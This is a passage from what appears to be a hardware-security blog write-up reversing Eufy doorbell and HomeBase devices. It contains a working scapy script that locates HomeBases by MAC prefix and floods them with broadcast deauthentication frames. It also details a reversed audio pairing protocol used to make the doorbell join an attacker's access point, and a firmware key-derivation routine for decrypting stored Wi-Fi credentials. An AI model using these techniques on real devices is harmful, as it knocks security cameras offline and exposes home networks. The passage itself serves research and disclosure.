Identify the presence of Homebases is easy because the first 24 bits of its MAC are known (both, the doorbell and the homebase uses the same prefix): 90:bf:d9. We can dust off an old Alfa wifi anntena, connect it to a battery-powered Raspberry Pi, and walk around to locate beacons from stations with a MAC address matching the one we are looking for. Then grab what channel is using and send a probe request with OCEAN_XXXXXX building it with the last 24 bits of the seen MAC. If we get a probe response it means we got a Homebase and we can send broadcast deauth packets to that network. A crappy script that summarizes this process can be found below:

#!/usr/bin/env python3


from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11Elt
from scapy.layers.dot11 import RadioTap
import subprocess, time

ch = None 
ssid = None
bssid = None
iface = "wlan1"
whale_mac = None
whale_ssid = None

def banner():
    print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n")
    print('''
                     _==|            
           _==|   )__)  |
             )_)  )___) ))
            )___) )____))_)
       _    )____)_____))__)\\
        \\---__|____/|___|___-\\\\---
^^^^^^^^^\\   oo oo oo oo     /~~^^^^^^^
  ~^^^^ ~~~~^^~~~~^^~~^^~~~~~
    ~~^^      ~^^~     ~^~ ~^ ~^
         ~^~~        ~~~^^~
          ''')



def beacon_handler(pkt):
    global ch
    global ssid
    global bssid

    if ch is not None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type != 0 or d.subtype not in (5,8):
        return
    if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9":
        cur = pkt
        while True:
            cur = cur.payload
            if cur is None or cur == NoPayload:
                return
            if isinstance(cur, Dot11Elt) and cur.ID == 3:
                if len(cur.info) >= 1:
                    ch = cur.info[0]
                    ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","")
                    bssid = d.addr2.upper()
                    break
        if ch != None:
            print("[*] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!")
            return
        else:
            return
    else:
        return

def set_channel(mon_iface):
    subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def build_req():
    global ssid
    global bssid

    rt = RadioTap()
    dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid)

    probe_req = (
        rt / dot11 /
        Dot11Elt(ID=0, info=ssid.encode()) /
        Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) /
        Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) /
        Dot11Elt(ID=3, info=bytes([2])) /
        Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) /  
        Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18]))
    )
    cur = probe_req
    while True:
        cur = cur.payload
        if cur is None or cur == NoPayload:
            break
        if isinstance(cur, Dot11Elt) and cur.ID == 3:
            cur.info = bytes([ch])
            break
    return probe_req

def handle_probe_resp(pkt):
    global whale_mac
    global whale_ssid
    if whale_mac != None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type == 0 and d.subtype == 5:
        if d.addr1 and d.addr1.lower() == "90:bf:d9:9f:13:37":
            whale_mac = d.addr2.upper()
            cur = pkt
            while True:
                cur = cur.payload
                if isinstance(cur, Dot11Elt) and cur.ID == 0:
                    whale_ssid = cur.info.decode("utf-8", errors="ignore")
                    break
            print("[*] Our lookout confirmed it! It's a big one!!")
            print('''
    .-------------'```'----....,,__                        _,
   |                               `'`'`'`'-.,.__        .'(
   |                                             `'--._.'   )
   |                                                   `'-.<
   \\               .-'`'-.                            -.    `\\
    \\               -.o_.     _                     _,-'`\\    |
     ``````''--.._.-=-._    .'  \\            _,,--'`      `-._(
       (^^^^^^^^`___    '-. |    \\  __,,..--'                 `
        `````````   `'--..___\\    |`
                              `-.,'
                              ''')
            print("\t\t\t" + whale_ssid + "\t" + whale_mac)
            return
            
def deauth():
    global whale_mac
    global iface
    packet = RadioTap() / \
         Dot11(type=0,         
               subtype=12,     
               addr1="ff:ff:ff:ff:ff:ff",
               addr2=whale_mac,
               addr3=whale_mac) / \
         Dot11Deauth(reason=7)
    print("[*] Launching 500 harpoons to hunt that whale!")
    for x in range(0,500):
        sendp(packet, iface=iface, verbose=False)

def main():
    banner()
    print("[*] Baleeiro is watching the ocean...")
    sniff(iface=iface, prn=beacon_handler, store=False, timeout=5)
    if ch is None:
        print("[!] Arr!! The ocean is empty today!!\n")
        exit(1)
    set_channel(iface)
    sniffer = AsyncSniffer(iface=iface, prn=handle_probe_resp, store=False)
    sniffer.start()
    time.sleep(0.05)
    sendp(build_req(), iface=iface, count=1, inter=0.01, verbose=False)
    time.sleep(2)
    sniffer.stop()
    if whale_ssid != None:
        print("[*] It's time to grab the harpoons! Press enter when you wanna start the hunt!")
        input()
        deauth()


if __name__ == "__main__":
    main()

The script just sends 500 because it’s all I needed to probe it at my local setup (to be honest I discovered this by error, I was just trying to grab the 4-way handshake to try to crack it with hashcat).

0x03 Soundwave sync protocol

To connect the doorbell to the HomeBase, it must be synchronized. At first glance, the synchronization process appears to rely on sound waves. This really caught my attention because I had never worked with signals before, and understanding how this protocol works seemed like a fascinating challenge. The USENIX paper mentions it briefly:

Mention to the pairing system

This is partially true and made me waste a lot of time. Initially I thought, based on the paper, that HomeBase encoded the SSID and passphrase in that soundwave, then the doorbell decoded the information and connects directly to the hidden network. It’s correct that the Homebase sends a SSID name and a PSK through the sound, but it’s for a temporal hotspot: once the doorbell conects to the hotspot it shares out-of-band the hidden wifi SSID and password and then finally connects to it.

The hotspot data is different each time Homebase is rebooted, so I guess it’s random or derived from a timestamp or similar (I don’t have the hardware needed to dump its firmware, so I am blind on how it’s generated). It’s obvious because after a reboot the soundwave is different, so it carries different data each time (spoiler: after reversing the protocol I confirm is diff each time). But how is this soundwave? You can hear here a full pairment process:

Your browser does not support the audio element.

To record the audio I created this poor man’s setup using a Raspberry Pi and a web cam:

I do not have a glamorous lab.

I need to do a disclaimer before I continue because I believe is importnat. I am biologist, I have zero idea about maths, telecom, signals and this whole world. This means that is possible that I describe stuff that maybe are not the correct way to explain or are inexact. So, if you spot mistakes in my explanations please tell me so I can edit the blog and learn more. I hope nobody get offended by my lack of knowledge on this field: I used this sync protocol as a mere excuse to start learning about this topic that I never touched before.

I had zero idea how to start doing this part of the research so I talked with my friend Gonzalo Carracedo a.k.a BatchDrake (creator of SigDigger) and he jumped immediately to a 15 min videocall to explain me how to start analyzing it and what he found. Just from the signal he told me:

19 Frequencies were used
150 Hz of difference between them
There was a gap (one frequency was never used)
Symbols had a aprox duration of 65ms

He pointed me to dump the doorbell firmware (which acts as receiver and decodes the soundwave sent by the homebase) and combine my analysis with classic reversing engineering. Luckly I could dump it connecting test hooks to the flash memory and using the SPI0 interface of an old Raspberry Pi (note: the Homebase flash does not expose “legs” so I can not use test hooks to connect it that’s why I did not dump -yet- its firmware).

Raspberry Pi being used to dump the memory

Once we got a dump of the flash memory I extracted all the files I could and I checked for interesting strings that would guide me to find the right ELF to dissasemble and analyze. Looking for “SSID” brought an obvious candidate:

Strings related to SSID

Then I proceed to search for more clues inside the ELF (e.g. searching for “frequency”, “sample”, etc.) and found this interesting function:

uint FUN_000b4f28(int param_1,int param_2)

{
  uint uVar1;
  char *pcVar2;
  int *piVar3;
  int iVar4;
  
  printf("---------use base frequence: %d\n",12000);
  DAT_0029a148 = *(uint *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  DAT_0029a14c = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x8);
  DAT_0029a150 = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc);
  DAT_0029a144 = 0;
  DAT_0029a154._0_4_ = (void *)0x0;
  _DAT_0029a15c = 0;
  DAT_0029a164._0_4_ = 0;
  DAT_0029a154._4_4_ = DAT_0029a148;
  DAT_0029a160 = DAT_0029a148;
  DAT_0029a164._4_4_ = DAT_0029a148;
  if (param_1 != 0xac44 && param_1 != 48000) {
    printf("samplerate error! only support %dHz, %dHz\n");
    uVar1 = 0;
  }
  else {
    if (param_2 != 0x10) {
      printf("bitwidth error! only support %d!\n",0x10);
      return (uint)(param_1 != 0xac44 && param_1 != 48000);
    }
    uVar1 = FUN_000b54cc(2);
    DAT_0029a148 = uVar1;
    if (uVar1 == 0) {
      puts("create failed!");
    }
    else {
      piVar3 = &DAT_00282ef4;
      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);
      FUN_000b55d0(uVar1,&DAT_00282ef8,0x13);
      FUN_000b5690(DAT_0029a148,0,&LAB_000b4e00,FUN_000b4e18);
      DAT_0029a154._0_4_ = malloc(0x100);
      if ((void *)DAT_0029a154 == (void *)0x0) {
        piVar3 = __errno_location();
        pcVar2 = strerror(*piVar3);
        printf("malloc failed with: %s\n",pcVar2);
        uVar1 = 0;
        if (DAT_0029a148 != 0) {
          puts("failed!");
          FUN_000b5580(DAT_0029a148);
          uVar1 = 0;
        }
      }
      else {
        DAT_0029a144 = 1;
        uVar1 = DAT_0029a148;
      }
    }
  }
  return uVar1;
}

Did you spot it?

      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);

This code is used to initialize the context capture of the 19 frequences (separated by 0x96 => 150Hz) that BatchDrake spotted in his brief analysis. From FUN_000b54cc we can see how it choose the “window frame”:

void FUN_000b54cc(int param_1,undefined4 param_2)

{
  int iVar1;
  void *pvVar2;
  uint uVar3;
  undefined4 uVar4;
  int iVar5;
  uint in_fpscr;
  double dVar6;
  
  dVar6 = (double)VectorSignedToFloat(param_2,(byte)(in_fpscr >> 0x16) & 3);
  if (param_1 == 2) {
    uVar4 = 2;
  }
  else {
    uVar4 = 1;
  }
  iVar1 = (int)(longlong)((dVar6 * 1024.0) / 44100.0);
  uVar3 = iVar1 - (iVar1 >> 0x1f) & 0xfffffffe;
  if ((int)uVar3 < 0x101) {
    iVar5 = 0x100;
  }
  else if (uVar3 - 0x101 < 0x100) {
    iVar5 = 0x200;
  }
  else {
    iVar5 = 0x400;
  }
  pvVar2 = calloc(0x118,1);
  FUN_000baaf8(pvVar2,uVar4,param_2,1,0x10,iVar5,iVar5 - iVar1 / 2);
  return;
}

It scales from 1024 samples at 44.1 kHz: 1024 / 44100 = 23.22 ms. The half-window advance is 512 / 44100 = 11.61 ms. That’s what the firmware does… but because I had no idea it would affect the analysis when I recoreded the sync audio… so my WAV is 32K. This means that to keep the same timing, our window will be composed by 743 samples (32000 samples/s x 0.02322 s) and the half-window advance would be 372. Using this window advance of 11.61ms I was able to capture a symbol every 6 advances (so 6 x 11.62), I estimated that setting 69.75ms as symbol duration would work (and it worked).

If we plot the strongest frequency (“tone”) (and numerate them from 1 to 19) we can see how patterns clearly emerge:

Tones vs Time

The tone at position “1” seems to be a marker that split the information blocks of sime size (15 symbols), except the last one that seems like a “shortened” block (4 symbols). This “grouping” of symbols in “blocks” of 15 symols size happens at FUN_000c2624. I did not understood what this function did (as I said my knowledge of maths and telecom is close to null), so I had to ask ChatGPT for guidance. Here is the description it gave to me:

FUN_000c2624 predicts where each tone symbol should occur, evaluates all 19 frequencies around those positions, and retains the best temporally consistent candidates. It groups these candidates into a block for later processing.

The next step in the pipeline is the transformation of the recognized tones to nibbles. Function FUN_000b7160 is where all the magic happens. The mapping is simple:

if (uVar5 != 0x12) {
    uVar1 = uVar5 - 1 & 0xff;
}

uVar13 = uVar1;
if (0xe < uVar1) {
    uVar13 = 0xf;
}

The physical tone that we labeled as “1” in the plot previously shown is a “marker/guard” to split the blocks, so the tone to nibble conversion starts at our tone number 2 (our tone number 2 is interpreted as “event 1” -what uVar5 holds- because the array starts at 0 and I numbered the tones starting by 1 -off-by-one by stupidity-). So tones 2 to 17 maps nibles 0 to F. That covers the tones from 1 to 17, but what happens with 18 and 19?

Well, from the analysis of this function we can infer they are used as “control” tones to indicate repetitions. I guess this is because if the Homebase needs to send the same tone two or more times (e.g. to encode 1-1-1) it would be difficult to be sure about if it was 2 or 3 tones (real world has more noise than a synthetic test or lab). The following table summarizes the findings:

Tones meaning based on firmware analysis

With this information we can recover all the nibbles shared by the Homestation. Literally you can recover them by hand just improving the data representation of the first image (the plot of tones vs time) and writing in paper the tone sequence.

Manual decoding of first block (I ignore tone 10 because is used as marker too when starting)

After automatizing this process with python, here are the three blocks recovered from the audio:

Information decoded from each block

When decoding the tones to nibbles I found that the last two nibbles where used by FUN_000bcd4, which is a function that I did not understood. Once again, I asked to ChatGPT to explain me what the function was about:

FUN_000bcd48 performs Reed-Solomon processing on one 15-nibble block: it calculates two GF(16) parity syndromes, accepts the block unchanged when both are zero, or attempts to identify and correct one erroneous nibble when they are nonzero. In simple terms, it uses the block’s two parity nibbles to repair a single incorrectly recognized tone before the data proceeds to CRC validation.

So it was Reed-Solomon, meaning that the last two nibbles does not carry information per se (they are used just to correct errors):

Full block meaning

The shortened block is CRC-16 (it is validated at FUN_000b7104 using FUN_000c4370):

bool FUN_000b7104(int param_1,int param_2)

{
  uint uVar1;
  int iVar2;
  
  uVar1 = FUN_000c4370(param_1,param_2 - 4U & 0xffff);
  iVar2 = param_1 + (param_2 + 0x3ffffffc) * 4;
  return (*(uint *)(iVar2 + 0xc) & 0xf |
          (*(uint *)(param_1 + (param_2 + 0x3ffffffc) * 4) & 0xf) << 0xc |
          (*(uint *)(iVar2 + 4) & 0xf) << 8 | (*(uint *)(iVar2 + 8) & 0xf) << 4) == uVar1;
}




uint FUN_000c4370(int param_1,int param_2)

{
  uint uVar1;
  uint *puVar2;
  
  if (param_2 != 0) {
    puVar2 = (uint *)(param_1 + -4);
    uVar1 = 0xffff;
    do {
      puVar2 = puVar2 + 1;
      uVar1 = ((uint)*(ushort *)(&DAT_00235e90 + (*puVar2 & 0xff ^ uVar1 >> 8) * 2) ^ uVar1 << 8) &
              0xffff;
    } while ((uint *)(param_1 + (param_2 - 1U & 0xffff) * 4) != puVar2);
    return uVar1;
  }
  return 0xffff;
}

At this point I had a clear picture of what was usable data and what was added data to correct errors / ensure the correct tone-to-nibble conversion. Instead of still digging on the conversion pipeline I decided to open my zoom and try to search where the SSID and password could be used (yep, I just searched for strings) and found this gem where the data is used to format a json with “s” and “p” that made me think it could be probably “sssid” and “password”:

void FUN_000b4e18(undefined4 param_1,int param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 uVar1;
  int iVar2;
  undefined1 auStack_94 [40];
  undefined1 auStack_6c [88];
  
  if (param_2 != 0) {
    param_4 = 2;
  }
  _DAT_0029a15c = 0;
  uVar1 = param_4;
  if ((param_2 == 0) && (iVar2 = FUN_000b642c(param_3,param_4), uVar1 = _DAT_0029a15c, iVar2 != 2))
  {
    if (iVar2 == 1) {
      FUN_000b6514(0,param_3,param_4,auStack_94);
      if ((char *)DAT_0029a154 != (char *)0x0) {
        snprintf((char *)DAT_0029a154,0xff,"{\"s\": \"%s\", \"p\":\"%s\"}",auStack_94,auStack_6c);
      }
      _DAT_0029a15c = 1;
      uVar1 = _DAT_0029a15c;
      DAT_0029a160 = (char *)DAT_0029a154;
    }
    else if (iVar2 != 3 && iVar2 != 0) {
      printf("------------------recognized data:%s\n",param_3);
      uVar1 = _DAT_0029a15c;
    }
  }
  _DAT_0029a15c = uVar1;
  if (DAT_0029a150 != (code *)0x0) {
    (*DAT_0029a150)(&DAT_0029a15c);
  }
  return;
}

Function FUN_000b642c returns first_nibble >> 1, if it is “1” (as seen in if (iVar2 == 1)) then it determines the encoded data is “wifi” type. If that’s the case, then FUN_000b6514 is called:

undefined4 FUN_000b6514(undefined4 param_1,undefined1 *param_2,int param_3,int param_4)

{
  uint uVar1;
  uint uVar2;
  int iVar3;
  int iVar4;
  int local_24 [2];
  
  uVar1 = FUN_000c43d0(*param_2);
  uVar2 = FUN_000c43d0(param_2[1]);
  local_24[0] = 0;
  iVar3 = FUN_000c43d0(*param_2);
  if (iVar3 >> 1 != 1) {
                    /* WARNING: Subroutine does not return */
    __assert("vr_decodeInfoType(_data, _dataLen) == IT_SSID_WIFI",
             "/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1ef);
  }
  iVar4 = ((uVar1 & 1) << 4 | uVar2) + 1;
  iVar3 = FUN_000b5e88(param_2 + 2,param_3 + -2,local_24,param_4,iVar4,0x21);
  if (iVar4 == iVar3) {
    *(undefined1 *)(param_4 + iVar4) = 0;
    *(int *)(param_4 + 0x24) = iVar4;
    iVar3 = FUN_000b5e88(param_2 + local_24[0] + 2,param_3 - (local_24[0] + 2),local_24,
                         param_4 + 0x28,0xffffffff,0x50);
    *(undefined1 *)(param_4 + iVar3 + 0x28) = 0;
    *(int *)(param_4 + 0x78) = iVar3;
    return 1;
  }
                    /* WARNING: Subroutine does not return */
  __assert("dataLen == ssidLen","/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1f1);
}

Which roughly can be translated to:

bool decodeWifiSSID(
    Context *ctx,
    uint8_t *data,
    int dataLen,
    WifiInfo *out)
{
    uint8_t header0 = decodeNibble(data[0]);
    uint8_t header1 = decodeNibble(data[1]);

    int consumed = 0;

    // Packet must be of type SSID_WIFI
    assert((decodeNibble(data[0]) >> 1) == IT_SSID_WIFI);

    // SSID length is encoded in first two bytes
    int ssidLen = (((header0 & 1) << 4) | header1) + 1;

    // Decode SSID
    int decoded =
        decodePayload(
            data + 2,
            dataLen - 2,
            &consumed,
            out,
            ssidLen,
            0x21);

    assert(decoded == ssidLen);

    out->ssid[ssidLen] = '\0';
    out->ssidLength = ssidLen;

    // Decode password
    int passLen =
        decodePayload(
            data + consumed + 2,
            dataLen - (consumed + 2),
            &consumed,
            out->password,
            -1,
            0x50);

    out->password[passLen] = '\0';
    out->passwordLength = passLen;

    return true;
}

Ding ding ding! Jackpot!! So this function decode (with the help of FUN_000b5e88 that I called decodePayload in the pseudo-code and I avoid to paste here because is too big) the SSID and the password. Gluing all together the full message:

Full decoded data

SSID: 731f1350
Password: 267039eb

So, the data transmited by the homebase was not the OCEAN_XXXXXX hidden wifi credentials, it was data created ad-hoc for a temporal hotspot where the doorbell tries to connect once it decodes the audio. Probably when the doorbell connects to this wifi, the homebase sends the real OCEAN_XXXXXX data out-of-band using TCP or UDP. Anyway, there is only a way to validate if my decoding is working or not: building the inverse (an “encoder”) and create a wifi to see if the doorbell connects to it after parsing my synthetic audio.

First I create in the Raspberry Pi a new AP with arbitrary data:

psyconauta@insulafructuum-i:~ $ sudo cat /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=a1b2c3d4
hw_mode=g
channel=6

ieee80211n=1
wmm_enabled=1

auth_algs=1
wpa=2
wpa_passphrase=4d3c2b1a
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP


logger_stdout=-1
logger_stdout_level=0
logger_syslog=-1
logger_syslog_level=0

Then I encoded the Raspberry Pi wifi data:

psyconauta@insulafructuum-i:~ $ python3 audio_wave_encoder.py "a1b2c3d4" "4d3c2b1a" message.wav
payload: 276613162326333643463464336332623161
crc: 72f3
blocks: 27661316232631b 3364346346433b4 633262316172f9f 3c2
tones: 10 1 4 9 8 18 3 5 3 8 4 5 4 8 5 3 13 1 5 18 8 6 5 6 8 5 6 8 6 5 18 13 6 1 8 5 18 4 8 4 5 3 8 3 9 4 17 11 17 1 5 14 4 1
wrote: message.wav


(testing with the decoder that the info is correct)

psyconauta@insulafructuum-i:~ $ python3 audio_wave_decoder.py message.wav 
{
  "type": 1,
  "raw_hex": "276613162326333643463464336332623161",
  "kind": "wifi",
  "ssid": "a1b2c3d4",
  "password": "4d3c2b1a",
  "consumed_nibbles": 36,
  "rs_corrected_blocks": 0
}

The resulting audio can be heard here:

Your browser does not support the audio element.

I played it using my mobile near to the doorbell after pressing the “sync” button for two seconds and it immediately sent probe requests from the doorbell asking for my wifi :D:

Doorbell trying to connect to my wifi a1b2c3d4

And a few moments later I got the full connection:

psyconauta@insulafructuum-i:~ $ sudo iw dev wlan0 station dump
Station 90:bf:d9:9f:97:fa (on wlan0)
	inactive time:	0 ms
	rx bytes:	10340
	rx packets:	116
	tx bytes:	12995
	tx packets:	175
	tx failed:	0
	tx bitrate:	1.0 MBit/s
	rx bitrate:	26.0 MBit/s
	authorized:	yes
	authenticated:	yes
	associated:	yes
	WMM/WME:	yes
	TDLS peer:	no
	DTIM period:	2
	beacon interval:100
	short slot time:yes
	connected time:	72 seconds
	current time:	1785233886535 ms

It used a static IP (192.168.32.250):

psyconauta@insulafructuum-i:~ $ sudo tcpdump -i wlan0 -n -e ether host 90:bf:d9:9f:97:fa
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
32:15.319733 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v2, len 95
32:15.344634 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 135: EAPOL key (3) v1, len 117
32:15.346593 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 169: EAPOL key (3) v2, len 151
32:15.365989 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v1, len 95
32:15.394131 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.250, length 28
32:15.396167 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.2 tell 192.168.32.250, length 28
32:15.396217 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Reply 192.168.32.2 is-at b8:27:eb:be:95:f3, length 28
32:15.405804 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype IPv4 (0x0800), length 58: 192.168.32.250.63122 > 192.168.32.2.10402: Flags [S], seq 1860381, win 29200, options [mss 1460], length 0
32:15.405916 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype IPv4 (0x0800), length 54: 192.168.32.2.10402 > 192.168.32.250.63122: Flags [R.], seq 0, ack 1860382, win 0, length 0
32:20.470710 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.2, length 28
32:21.482798 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype ARP (0x0806), length 42: Reply 192.168.32.250 is-at 90:bf:d9:9f:97:fa, length 28

Although having the doorbell conected to us is not something interesting per se, I enjoyed the process of reversing the soundwave sync protocol used by Eufy. I learned a lot of stuff \o/

0x04 Extracting and decrypting OCEAN_XXXXXX creds from flash memory

When I dumped the flash memory the doorbell was previously synced with my homebase, so I knew it contained somewhere the hidden network credentials. But unfortunately I could not find any reference searching for the string “OCEAN” which was odd. To paraphrase vx-underground I started again to poke with a stick the ELF I analyzed to see if this config was used at some point. After searching for keywords I ended on this function:

undefined4 FUN_0001f8ac(int param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  size_t __n;
  int iVar5;
  
  FUN_0001a80c(1,"save parameter.",param_3,param_4,param_1,param_2);
  iVar2 = open((char *)(param_1 + 0x517a),0x41,0x1a4);
  if (iVar2 < 0) {
    FUN_0001a80c(3,"writeConfig can\'t open config file(%s).",(char *)(param_1 + 0x517a));
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) goto LAB_0001f918;
    bVar1 = true;
  }
  else {
    bVar1 = false;
  }
  iVar5 = param_1 + 0x5894;
  iVar3 = FUN_0003b604(param_1 + 0x540f,iVar5);
  if (iVar3 < 0) {
    FUN_0001a80c(3,"writeConfig setEncryptkey Fail");
    FUN_0001a80c(3,"write parameter fail");
    printf("write parameter fail");
    close(iVar2);
    return 0;
  }
  memset(&DAT_002cb989,0,0xc01);
  iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
  __n = iVar3 + 2;
  DAT_002cb989 = (undefined2)iVar3;
  sVar4 = write(iVar2,&DAT_002cb989,__n);
  if (__n == sVar4) {
    FUN_0001a80c(2,"write parameter succ (%d)(%d)",__n,0xa6);
    printf("write parameter succ (%d)(%d)",__n,0xa6);
  }
  else {
    FUN_0001a80c(3,"write config file fail.(%d)(%d)",sVar4,__n);
  }
  fsync(iVar2);
  close(iVar2);
  sync();
  if (!bVar1) {
    iVar2 = open((char *)(param_1 + 0x81d30),0x41,0x1a4);
    if (iVar2 < 0) {
LAB_0001f918:
      FUN_0001a80c(3,"writeConfig can\'t open config bak file(%s).",param_1 + 0x81d30);
      return 0;
    }
    memset(&DAT_002cb989,0,0xc01);
    iVar3 = FUN_0001e330(iVar5,param_1 + 0x5046,0xa6,&DAT_002cb98b);
    __n = iVar3 + 2;
    DAT_002cb989 = (undefined2)iVar3;
    sVar4 = write(iVar2,&DAT_002cb989,__n);
    if (__n == sVar4) {
      FUN_0001a80c(2,"write parameter bak succ (%d)(%d)",__n,0xa6);
      printf("write parameter bak succ (%d)(%d)",__n,0xa6);
    }
    else {
      FUN_0001a80c(3,"write config bak file fail.(%d)(%d)",sVar4,__n);
    }
    fsync(iVar2);
    close(iVar2);
    sync();
  }
  if (*(code **)(param_1 + 0x5acc) != (code *)0x0) {
    (**(code **)(param_1 + 0x5acc))(0x6d,&DAT_002cb989,0,0,__n);
  }
  return 1;
}

if FUN_0003b604 returns something below 0 it logs a error message indicating setEncryptKey Fail

int FUN_0003b604(char *param_1,undefined4 param_2)

{
  size_t sVar1;
  int iVar2;
  
  sVar1 = strlen(param_1);
  if (sVar1 == 0x10) {
    iVar2 = FUN_0012f748(param_2,param_1,0x80);
    if (-1 < iVar2) {
      return iVar2;
    }
    FUN_0001a80c(1,"set_encrypt_key fail \n");
  }
  else {
    FUN_0001a80c(1,"KEY len err! %d ",sVar1);
  }
  return -1;
}

That 0x80 it’s a good clue that FUN_0012f748 it’s gonna be AES-128 but just in case I copied the function content to ChatGPT and it confirmed my hypothesis:

FUN_0012f748 creates an AES encryption key schedule from a supplied 128-, 192-, or 256-bit key: it validates the key size, records the corresponding number of AES rounds, copies the original key words, and expands them into all round keys using AES substitutions and round constants.

Pulling more this thread I found the function in charge of build the key:

void FUN_0001e184(int param_1)

{
  size_t sVar1;
  undefined4 uVar2;
  char *pcVar3;
  char *pcVar4;
  undefined4 *puVar5;
  undefined4 local_4c [16];
  undefined1 local_c;
  
  puVar5 = local_4c;
  local_c = 0;
  pcVar4 = "abcdefghijklmnopqrstuvwxyz0123456789~_ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  do {
    pcVar3 = pcVar4 + 8;
    uVar2 = *(undefined4 *)(pcVar4 + 4);
    *puVar5 = *(undefined4 *)pcVar4;
    puVar5[1] = uVar2;
    puVar5 = puVar5 + 2;
    pcVar4 = pcVar3;
  } while (pcVar3 != "");
  FUN_0001d17c(local_4c);
  pcVar4 = (char *)(param_1 + 0x540f);
  pcVar4[0] = '\0';
  pcVar4[1] = '\0';
  pcVar4[2] = '\0';
  pcVar4[3] = '\0';
  *(undefined4 *)(param_1 + 0x5413) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4)
  ;
  *(undefined4 *)(param_1 + 0x5417) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x8)
  ;
  *(undefined4 *)(param_1 + 0x541b) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc)
  ;
  *(undefined4 *)(param_1 + 0x5418) = 0;
  *(undefined4 *)(param_1 + 0x541c) = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x4)
  ;
  FUN_0001deb8(local_4c,pcVar4);
  sVar1 = strlen(pcVar4);
  FUN_0001a80c(1,"getKeyC(%d)",sVar1);
  return;
}

The long string abc…XYZ (64 bytes) is passed to FUN_0001d17c which applies a classic XOR with a repeating group of three bytes (0x01, 0x04, 0x06).

char * FUN_0001d17c(char *param_1,undefined4 param_2,undefined4 param_3)

{
  size_t sVar1;
  int extraout_r1;
  uint uVar2;
  undefined3 local_14;
  undefined1 uStack_11;
  undefined4 uStack_10;
  
  _local_14 = CONCAT13((char)((uint)param_2 >> 0x18),0x60401);
  uStack_10 = param_3;
  for (uVar2 = 0; sVar1 = strlen(param_1), uVar2 < sVar1; uVar2 = uVar2 + 1) {
    FUN_00213228(uVar2,3);
    param_1[uVar2] = *(byte *)((int)&local_14 + extraout_r1) ^ param_1[uVar2];
  }
  return param_1;
}

Then the resulting 65-byte string (64 byte xored with pattern + 1 null byte) is passed to FUN_0001deb8, which we can infer is doing a MD5 hash based on the constants. Although it just returns 8 bytes (16 hex chars):

void FUN_0001deb8(undefined4 param_1,char *param_2)

{
  byte *pbVar1;
  char *__s;
  char *pcVar2;
  byte abStack_80 [16];
  undefined4 local_70;
  undefined4 local_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 local_60;
  undefined4 uStack_5c;
  
  local_70 = 0;
  local_68 = 0x67452301;
  uStack_64 = 0xefcdab89;
  local_6c = 0;
  local_60 = 0x98badcfe;
  uStack_5c = 0x10325476;
  FUN_0001dda4(&local_70,param_1,0x41);
  FUN_0001de4c(&local_70,abStack_80);
  pbVar1 = abStack_80;
  __s = param_2;
  do {
    pcVar2 = __s + 2;
    sprintf(__s,"%02X",(uint)*pbVar1);
